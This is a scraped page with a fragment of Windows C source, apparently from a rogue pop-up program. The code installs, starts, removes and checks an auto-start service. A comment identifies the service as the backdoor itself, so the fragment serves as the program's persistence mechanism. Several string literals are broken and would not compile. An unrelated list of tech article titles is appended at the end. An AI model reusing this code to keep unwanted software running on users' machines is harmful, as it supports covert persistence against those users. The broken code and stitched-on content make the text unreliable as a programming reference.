  798.   BOOL ServiceExists( WCHAR * ); //判断服务是否存在
  799.   /***********************************************************************************
  800.   * 安装服务
  801.   * 参数:主程序全路径
  802.   * 返回:成功返回TRUE,否则为FALSE
  803.   ***********************************************************************************/
  804.   BOOL ServiceInstall( WCHAR *exeFilePath )
  805.   {
  806.   WCHAR tmpPath[MAX_PATH] = { 0 };
  807.   HKEY key;
  808.   
  809.   SC_HANDLE serviceMangerHandle = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE );
  810.   if ( serviceMangerHandle == 0 )
  811.   {
  812.   printf( "Install: Open services manager database error: %d\n", GetLastError() );
  813.   return FALSE;
  814.   }
  815.   
  816.   SC_HANDLE serviceHandle = CreateService
  817.   (
  818.   serviceMangerHandle ,
  819.   SERVICE_NAME ,
  820.   SERVICE_DISPLAY_NAME ,
  821.   SERVICE_ALL_ACCESS ,
  822.   SERVICE_WIN32_OWN_PROCESS ,
  823.   SERVICE_AUTO_START ,
  824.   SERVICE_ERROR_NORMAL ,
  825.   exeFilePath ,
  826.   NULL ,
  827.   NULL ,
  828.   NULL ,
  829.   NULL ,
  830.   NULL
  831.   );
  832.   
  833.   if ( serviceHandle == 0 )
  834.   {
  835.   printf( "Create service error: %d\n", GetLastError() );
  836.   CloseServiceHandle( serviceMangerHandle );
  837.   return FALSE;
  838.   }
  839.   
  840.   wcscpy( tmpPath, L"SYSTEM\CurrentControlSet\Services\" );
  841.   wcscat( tmpPath, SERVICE_NAME );
  842.   
  843.   if( RegOpenKey( HKEY_LOCAL_MACHINE, tmpPath, &key ) != ERROR_SUCCESS )
  844.   {
  845.   printf( "Open key %s error: %d\n", tmpPath, GetLastError() );
  846.   return FALSE;
  847.   }
  848.   RegSetValueEx( key, L"Description", 0, REG_SZ, (BYTE *)SERVICE_DESCRIPTION, wcslen(SERVICE_DESCRIPTION) );
  849.   
  850.   RegCloseKey(key);
  851.   if( !StartService( serviceHandle, 0, 0 ) )
  852.   {
  853.   printf( "Install service ok, but start it error: %d\n", GetLastError() );
  854.   }
  855.   else
  856.   {
  857.   printf( "Install service ok, start it ok.\n" );
  858.   }
  859.   CloseServiceHandle( serviceHandle );
  860.   CloseServiceHandle( serviceMangerHandle );
  861.   return TRUE;
  862.   }
  863.   /**************************************************************************************************
  864.   * 删除服务
  865.   **************************************************************************************************/
  866.   BOOL ServiceUnstall( WCHAR *serviceName )
  867.   {
  868.   SC_HANDLE scmHandle = OpenSCManager (NULL, NULL, SC_MANAGER_ALL_ACCESS);
  869.   
  870.   if ( scmHandle == NULL )
  871.   {
  872.   return FALSE;
  873.   }
  874.   
  875.   SC_HANDLE scHandle = OpenService( scmHandle, serviceName, SERVICE_ALL_ACCESS );
  876.   
  877.   if( scHandle == NULL )
  878.   {
  879.   CloseServiceHandle( scmHandle );
  880.   
  881.   return FALSE;
  882.   }
  883.   
  884.   DeleteService( scHandle );
  885.   CloseServiceHandle( scHandle );
  886.   CloseServiceHandle( scmHandle );
  887.   
  888.   return TRUE;
  889.   }
  890.   /**************************************************************************************************
  891.   * 服务控制函数
  892.   **************************************************************************************************/
  893.   void ServiceControl( DWORD request )
  894.   {
  895.   #ifdef DEBUG
  896.   LogToFile( L"ServiceControl: Into ServiceControl\n" );
  897.   #endif
  898.   switch ( request )
  899.   {
  900.   case SERVICE_CONTROL_PAUSE:
  901.   serviceStatus.dwCurrentState = SERVICE_PAUSED;
  902.   break;
  903.   case SERVICE_CONTROL_CONTINUE:
  904.   serviceStatus.dwCurrentState = SERVICE_RUNNING;
  905.   break;
  906.   case SERVICE_CONTROL_STOP:
  907.   
  908.   #ifdef DEBUG
  909.   LogToFile( L"ServiceControl: Try to stop service\n" );
  910.   #endif
  911.   
  912.   serviceStatus.dwWin32ExitCode = 0;
  913.   serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
  914.   serviceStatus.dwCheckPoint = 0;
  915.   serviceStatus.dwWaitHint = 0;
  916.   break;
  917.   case SERVICE_CONTROL_INTERROGATE:
  918.   
  919.   break;
  920.   
  921.   default:
  922.   #ifdef DEBUG
  923.   LogToFile( L"ServiceControl: Error arguments\n" );
  924.   #endif
  925.   break;
  926.   }
  927.   if( !SetServiceStatus( hServiceStatus, &serviceStatus ) )
  928.   {
  929.   #ifdef DEBUG
  930.   WCHAR tmp[256] = { 0 };
  931.   wsprintf( tmp, L"ServiceMain: Control service error: %d\n", GetLastError() );
  932.   LogToFile( tmp );
  933.   #endif
  934.   }
  935.   return;
  936.   }
  937.   BOOL ServiceExists( WCHAR *path )
  938.   {
  939.   WCHAR tmpPath[MAX_PATH] = { 0 };
  940.   HKEY key;
  941.   WCHAR value[512] = { 0 };
  942.   int type = REG_EXPAND_SZ;
  943.   int size = sizeof(value);
  944.   wcscpy( tmpPath, L"SYSTEM\CurrentControlSet\Services\" );
  945.   wcscat( tmpPath, SERVICE_NAME );
  946.   
  947.   if( RegOpenKeyEx( HKEY_LOCAL_MACHINE, tmpPath, 0, KEY_QUERY_VALUE, &key ) != ERROR_SUCCESS )
  948.   {
  949.   //printf( "RegOpenKeyEx Error: %d\n", GetLastError() );
  950.   return FALSE;
  951.   }
  952.   if( RegQueryValueEx( key, L"ImagePath", NULL, (DWORD *)&type, (BYTE *)value, (DWORD *)&size ) != ERROR_SUCCESS )
  953.   {
  954.   //printf( "RegQueryValueEx Error: %d\n", GetLastError() );
  955.   
  956.   return FALSE;
  957.   }
  958.   if( key ) RegCloseKey( key );
  959.   // 如果服务的程序路径等于后门本身,表示已经安装
  960.   if( 0 == _wcsicmp( value, path ) )
  961.   {
  962.   return TRUE;
  963.   }
  964.   return FALSE;
  965.   }

转载于:https://blog.51cto.com/linkboy/295586

一个弹窗口的流氓软件相关推荐

  1. bootstrap栅栏系统 解决当弹窗口变小的时候变成1列问题

    解决当弹窗口变小的时候变成1列问题 注意弹窗框的宽度    750px  应该用sm 网格选项 下表总结了 Bootstrap 网格系统如何跨多个设备工作:   超小设备手机(<768px) 小 ...

  2. 按键防抖_单片机用一个IO口采集多个按键信号

    一般按键信号都是高低电平,对于每一个按键信号单片机都需要一个IO口进行采集,这种按键采集方式比较简单,但是占用的单片机IO口比较多. 如果按键非常多,例如键盘,可以采用行列阵列方式进行信号采集.这种方 ...

  3. 通用串行总线集线器(Universal SerialBus HUB)什么是USB集线器(USB HUB)?什么是USB根集线器(USB ROOT HUB)?如何判断一个USB口是独立的还是集线器上的?

    文章目录 USB 集线器是什么? USB 根集线器是什么? 20200323 如何判断一个USB口是否是独立的还是集线器上的? USB集线器与根集线器关系 测试在华硕主板上的USB口对应情况 USB ...

  4. Qt操作Office的一个实例--口算题生成器制作。

    文章目录 Qt操作Office的一个实例--口算题生成器制作. 1.关联QAxObject 2.操作Word文档: 3.设计界面 4.关键代码 效果: Qt操作Office的一个实例–口算题生成器制作 ...

  5. vue 一个组件内多个弹窗_论如何用Vue实现一个弹窗-一个简单的组件实现

    前言 最近在使用element-ui框架,用到了Dialog对话框组件,大致实现的效果,跟我之前自己在移动端项目里面弄的一个弹窗组件差不太多.然后就想着把这种弹窗组件的实现方式与大家分享一下,下面本文 ...

  6. toast弹窗_一个弹窗的设计思考

    这几天在工作中处理了一个历史遗留问题:弹窗适配,几经折腾终于落定发包.于是我也趁着这个机会把弹窗体系梳理研究了一遍. 我们常见的弹窗有对话框,提示框,有时候在需求沟通中经常会听到产品同学说,给这里加个 ...

  7. 单片机一个ADC口实现多按键检测功能

    按键电路是单片机应用中最广泛最简单的一个电路了,实际项目中经常会用到按键,但是一个按键往往需要占用一个IO口,特别是单片机资源比较紧张的情况下,IO就显得更加珍贵了.如果要用到按键,同时又不想浪费IO ...

  8. vue弹窗调用另一个弹窗_电脑桌面“脏乱差”,插件弹窗广告一个不少,学会say no很重要...

    Hello大家好,我是兼容机之家的小牛! 很多人买了新电脑,一次性就把很多可能用到的,用不到的软件都装在电脑上,这样不出一会电脑开机就变慢了,C盘容量减少了,反而有可能多了很多垃圾的弹窗. 了解一点电 ...

  9. 【乐畅】工作积累 ---- 设置一个弹窗的层

    在同事的一语道破下,想到了, 在最底层设置一个Layer,用来添加需要弹窗的界面, 每次添加的时候都要求先删除所有的子节点, 这样每次添加后就只有一个弹窗层了. 转载于:https://www.cnb ...

最新文章

  1. 云炬VB开发笔记 5循环结构
  2. 五种最易被老板开除的人
  3. 简单的html渲染模板引擎
  4. FFmpeg 4.0版发布
  5. django界面上弹出bootstrap modal对话框,对话框中包含iframe并请求一个新的页面
  6. 以太币转帐速度_燃起来吧!一文带你读懂以太坊网络中的Gas、Gas Fee、Gas Price、Gas...
  7. 提高C#编程水平的50个要诀
  8. 2020还有必要学JSP吗?
  9. 关于Sql Server2012(.net framework 3.5安装)安装问题
  10. ssm项目实战------------OA管理项目
  11. python数据采集2-HTML解析
  12. Pytorch 如何 优化/调整 模型参数
  13. 11.投资管理流程与投资者需求
  14. LeetCode50——一题学会快速幂算法
  15. matlab复杂噪声产生实验报告,基于小波信号的噪声消除matlab实验报告.docx
  16. 使用物联网卡发送短信
  17. GDB内存断点(Memory break)的使用举例
  18. 数学建模学习笔记(2):TOPSIS方法(优劣解距离法)和熵权法修正
  19. 【Pyecharts50例】渐变色散点图/径向渐变/scatter/由圆心向圆周渐变
  20. 删除linux后,修复windows的启动项:MBRFix工具

热门文章

  1. tiny cc在云服务centos上运行
  2. Teechart动态设计方法
  3. html5后代选择符,css选择符有哪些?哪些属性可以继承?
  4. linux 改成utc时间_C++下四种常用的程序运行时间的计时方法总结
  5. python实现滑动窗口平均_数据流滑动窗口平均值 · sliding window average from data stream...
  6. 台式计算机机箱的作用,如何选择台式电脑机箱?小白安装电脑机箱常识指南
  7. A*算法的c++实现+opencv动态显示
  8. Debug Pytorch: ValueError: Expected more than 1 value per channel when training, got input size tor
  9. rust(72)-match匹配
  10. linux内核杂记(12)-进程调度(7)